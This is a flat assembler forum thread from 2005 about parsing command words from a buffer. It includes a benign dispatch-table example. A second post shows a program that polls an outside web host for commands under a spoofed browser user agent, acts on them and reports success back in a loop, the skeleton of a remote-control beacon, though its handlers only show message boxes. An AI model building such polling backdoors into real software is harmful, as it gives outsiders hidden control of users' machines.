flat assembler
Message board for the users of flat assembler.
Index
> Windows > Recognize text from buffer and jump to... |
Author |
|
beppe85 11 Jan 2005, 21:41
The easiest way to do is builing a table and looping. See an example.
Code: include '%fasminc%/win32ax.inc' TextLength equ 16 struct CommandDef .text rb TextLength .action dd ? ends macro Command name, [text, action] { common name: forward local ..size, ..cmd ..cmd db text ..size = $ - ..cmd times TextLength - ..size db 0 dd action } macro asciiz name, text { name db text, 0 .size = $ - name } .data ; builds a table, in non-increasing order of ;(command name, handler) pairs Command Cmds,\ 'EXIT', cmdExit,\ 'EDIT', cmdEdit,\ 'DIR', cmdDir,\ 'CD', cmdCd,\ '', cmdNop asciiz Sample, 'DIR www' ; this buffer should be at least large as the ; largest command, counting with arguments Buffer rb 1024 .code cmdDir: invoke MessageBox, HWND_DESKTOP, 'This is the DIR command in action.', 'Command', MB_OK ret cmdCd: invoke MessageBox, HWND_DESKTOP, 'This is the CD command in action.', 'Command', MB_OK ret cmdEdit: invoke MessageBox, HWND_DESKTOP, 'This is the EDIT command in action.', 'Command', MB_OK ret cmdExit: invoke MessageBox, HWND_DESKTOP, 'This is the EXIT command in action.', 'Command', MB_OK ret cmdNop: invoke MessageBox, HWND_DESKTOP, 'No command.', 'Command', MB_OK ret Main: ; copy sample command to buffer mov edi, Buffer mov esi, Sample mov ecx, Sample.size rep movsb ; search for handler mov edi, Cmds ; start from first command .loop: mov esi, Buffer ; reload buffer pointer push edi ; save start of CommandDef or ecx, -1 repe cmpsb ; loop while chars at esi and edi match pop edi ; retrieve current CommandDef mov al, byte [esi-1] cmp al, ' ' ; reached the end of command(' ' > #0), or must keep searching je .found cmp al, byte [edi-1] jb .not_found ; command is lexicographically below than current match, exit add edi, sizeof.CommandDef ; advance to next CommandDef jmp .loop .found: call [edi+CommandDef.action] ; call handler jmp .exit .not_found: .exit: ret .end Main |
|||
11 Jan 2005, 21:41 |
|
Hunter13 12 Jan 2005, 17:40
ok i do it just myself as baby very easy..
Code: format PE GUI 4.0 entry start include '..\Include\win32a.inc' b equ byte section '.code' code readable executable start: invoke InternetOpen,szAgent,0,0,0,0 test eax,eax jz error1 mov [InternetHandle],eax invoke InternetOpenUrl,eax,szURL,0,0,0,0 test eax,eax jz error2 mov [FileHandle],eax invoke InternetReadFile,eax,FileBuffer,1023,BytesRead test eax,eax jz error3 mov eax,[BytesRead] mov b[FileBuffer+eax],0 mov eax,FileBuffer cmp byte [eax],'m' jne testCMD1 inc eax cmp byte [eax],'d' jne testCMD1 jmp isCmdMD testCMD1: mov eax,FileBuffer cmp byte [eax],'d' jne uknownCMD inc eax cmp byte [eax],'i' jne uknownCMD inc eax cmp byte [eax],'r' jne uknownCMD jmp isCmdDir isCmdMD: invoke MessageBox,0,FileBuffer,szMD,0 jmp answer isCmdDir: invoke MessageBox,0,FileBuffer,szMD,0 jmp answer answer: invoke InternetOpen,szAgent,0,0,0,0 test eax,eax jz error1 mov [InternetHandle],eax invoke InternetOpenUrl,eax,szURLanswer,FileBuffer,0,0,0,0 test eax,eax jz error2 mov [FileHandle],eax invoke InternetReadFile,eax,FileBuffer,19,BytesRead test eax,eax jz error3 mov eax,[BytesRead] mov b[FileBuffer+eax],0 jmp start uknownCMD: invoke InternetCloseHandle,[InternetHandle] invoke InternetCloseHandle,[FileHandle] invoke Sleep,5000 jmp start error3: invoke InternetCloseHandle,[FileHandle] error2: invoke InternetCloseHandle,[InternetHandle] error1: invoke ExitProcess,0 section '.data' data readable writeable szAgent db 'Internet Explorer',0 szURL db 'http://phptools.site.cz/nwa/skript.txt',0 szURLanswer db 'http://phptools.site.cz/nwa/skript.php?ext=COMMAND+SUCCESS',0 szMD db 'BOX',0 InternetHandle dd ? FileHandle dd ? BytesRead dd ? FileBuffer rb 1024 section '.idata' import data readable writeable library kernel32,'KERNEL32.DLL',\ wininet,'WININET.DLL',\ user32,'USER32.DLL' import kernel32,\ CreateFile,'CreateFileA',\ Sleep,'Sleep',\ ExitProcess,'ExitProcess' import user32,\ MessageBox,'MessageBoxA' import wininet,\ InternetOpen,'InternetOpenA',\ InternetReadFile,'InternetReadFile',\ InternetOpenUrl,'InternetOpenUrlA',\ InternetCloseHandle,'InternetCloseHandle' _________________ beauty is anywhere welcome guest |
|||
12 Jan 2005, 17:40 |
|
beppe85 12 Jan 2005, 18:37
This approach is simple but requires more work to add new commands.
There's a bug in it also, you're just checking prefixes. And if the command is "DIRECT blablabla"? |
|||
12 Jan 2005, 18:37 |
|
Hunter13 12 Jan 2005, 18:41
after crash i have to use just own commands
_________________ beauty is anywhere welcome guest |
|||
12 Jan 2005, 18:41 |
|
Hunter13 13 Jan 2005, 06:20
or if is command DIRECT and DIR i just use after DIR space... No problem...
_________________ beauty is anywhere welcome guest |
|||
13 Jan 2005, 06:20 |
|
< Last Thread | Next Thread > |
Forum Rules:
|
Copyright © 1999-2024, Tomasz Grysztar. Also on GitHub, YouTube.
Website powered by rwasa.